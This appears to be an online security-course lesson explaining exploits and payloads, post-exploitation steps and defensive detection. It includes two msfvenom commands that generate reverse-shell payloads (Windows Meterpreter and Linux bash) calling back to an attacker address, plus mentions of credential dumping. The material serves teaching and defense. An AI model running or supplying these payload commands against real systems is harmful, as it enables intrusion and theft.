System Hacking: Access and Privilege Escalation
Examine access vectors, privilege escalation paths, persistence, and EDR-aware tradecraft.
Content
Exploitation Fundamentals and Payloads
Versions:
Watch & Learn
AI-discovered learning video
Sign in to watch the learning video for this topic.
Exploitation Fundamentals and Payloads — the Part Where We Stop Asking "How" and Start Asking "How Deep Is the Rabbit Hole?"
If you remember: we already mapped the attack surface, found entry points, and practiced credential harvesting & reuse like microscopic pickpockets. Now we go deeper: turning a vulnerability into control — and doing it in a way that feels like performance art.
What this is (and why it's next)
This lesson builds on Attack Surface Mapping & Initial Access and Credential Harvesting and Reuse Risks. Those gave you the map and the keys. Here we learn how attackers actually use those keys — the exploitation mechanics — and the kinds of payloads they deliver once inside. We’ll also tie back to Vulnerability Analysis & DevSecOps, because modern defenses are built into pipelines and CI/CD, and you should know how exploitation and defenses dance together.
Big picture: exploitation = trigger + payload
- Trigger (exploit): the action that abuses a vulnerability (e.g., buffer overflow, SQLi, deserialization). Think of it as the push that opens the trapdoor.
- Payload: the useful thing delivered after the push — shell, Meterpreter, ransomware, data exfil tool. Think of it as the person who walks through the trapdoor and takes over the house.
Why separate them? Because reusability is a hacker’s best friend.
Exploit authors often make the trigger generic and swap payloads depending on objectives (persistence, pivoting, data theft, chaos). That modularity is why a single 0‑day can spawn dozens of different attacks.
The Anatomy of an Exploit Flow (step-by-step)
- Choose a reliable vulnerability (from your mapping or scanner results).
- Craft or adapt an exploit to reliably trigger the flaw.
- Choose a payload (staged vs stageless, bind vs reverse, shellcode vs script).
- Deliver: phishing, exploitation via network service, malicious dependency in CI/CD, supply chain.
- Execute payload and establish C2 (command & control).
- Post-exploitation: credential harvesting, privilege escalation, lateral movement, persistence.
Payload taxonomy — quick reference table
| Type | What it is | Pros | Cons | Typical use |
|---|---|---|---|---|
| Reverse shell | Target connects back to attacker | Works through NAT, quick | Needs network egress on target | Interactive control |
| Bind shell | Target listens for attacker connections | Simple | Firewall often blocks inbound | Internal networks |
| Meterpreter / C2 agent | Feature-packed in-memory agent | Powerful, stealthy | Detectable by EDR | Full post-exploitation |
| Shellcode (native) | Raw machine code | Fast, small | Must match architecture/OS | Early-stage implants |
| Script payload (JS/PS/py) | High-level script | Rapid development | Requires interpreter on host | Lateral scripts |
| Staged payload | small loader downloads larger payload | Smaller initial footprint | Requires network | Evading size limits |
| Stageless payload | all-in-one binary | No second-stage network | Larger payload size | Simpler delivery |
Practical payload examples (real‑world tools)
- msfvenom (Metasploit) — create payloads quickly:
# Example: Windows reverse Meterpreter
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.0.0.5 LPORT=4444 -f exe -o payload.exe
# Example: Linux reverse shell (bash)
msfvenom -p cmd/unix/reverse_bash LHOST=10.0.0.5 LPORT=4444 -f raw
- Custom shellcode often used in advanced exploits or when you must avoid disk artifacts.
Exploit reliability & constraints (the reality check)
- ASLR, DEP/NX, stack canaries — modern OS protections break many classic exploits. Exploit developers use ROP (return-oriented programming), heap sprays, or kernel exploits to bypass them.
- Environment variance — what works on dev/test might fail in prod due to different libraries, versions, or mitigations. Always test against realistic targets (lab VMs with matching patches).
- Network controls & EDR — reverse shells and Metasploit can be noisy. Encoders, obfuscation, and custom C2 help, but defenders have telemetry.
Exploit reliability is the difference between being a legend and being a log entry.
Post-exploitation: the usual next moves (and why privilege escalation matters)
Once a payload runs, attackers commonly:
- Dump credentials (Mimikatz on Windows; /etc/shadow on Linux).
- Escalate privileges — local exploits, misconfigurations, SUID binaries, token impersonation.
- Move laterally using stolen creds or exploited services.
- Maintain persistence: scheduled tasks, services, cron jobs, backdoored binaries.
Privilege escalation is often a faster route than finding a new remote exploit. This ties back to credential harvesting we covered earlier: abuse a harvested admin credential and you’re golden.
Defenses that actually matter (and where DevSecOps fits)
- Patch management & vulnerability prioritization. This is the number-one practical defense. Your previous lesson on integrating scanners into CI/CD is the line of defense BEFORE code/deploy hits production.
- Least privilege & secrets management. Reduce blast radius from a single credential compromise.
- EDR / network monitoring — detect suspicious process creations, abnormal egress, and high‑entropy payloads.
- Exploit mitigations: ASLR, DEP, stack canaries, W^X.
- CI/CD hardening: scan third‑party packages, run SAST/DAST on PRs, fail builds on critical libs, sign artifacts.
Detection tips for defenders (actionable)
- Alert on new listening services, unexpected outbound connections to uncommon ports.
- Monitor spawning of command interpreters (powershell, cmd, bash) from unusual parents.
- Watch for staging patterns: small network fetch followed by large binary execution.
- Use telemetry to link initial access artifacts (phishing message IDs, malicious commits) to post-exploit behaviors.
Closing: play both offense and defense
Exploitation fundamentals teach you how attackers chain vulnerabilities, triggers, and payloads into control. But remember: the same knowledge makes you a better defender. If you can model how an exploit would be staged and what payloads an attacker would pick, you can bake stronger controls into CI/CD, enforce better secrets hygiene, and prioritize fixes to reduce the risk vector.
Final thought: exploits are poetry; payloads are the actors. If you want to stop the play, rewrite the script early — in your pipelines, your patching schedule, and your identity lifecycle.
Key takeaways:
- Exploit = vulnerability trigger + payload. Keep them distinct.
- Payload choice drives detection and persistence strategies.
- Modern defenses (ASLR, EDR, CI/CD checks) force attackers to be creative — and force you to keep automating security.
Ready for lab work? Try building a staging payload in a closed VM network, then instrument the host with EDR to observe the telemetry. No real targets, no real harm, just brains and curiosity.
Comments (0)
Please sign in to leave a comment.
No comments yet. Be the first to comment!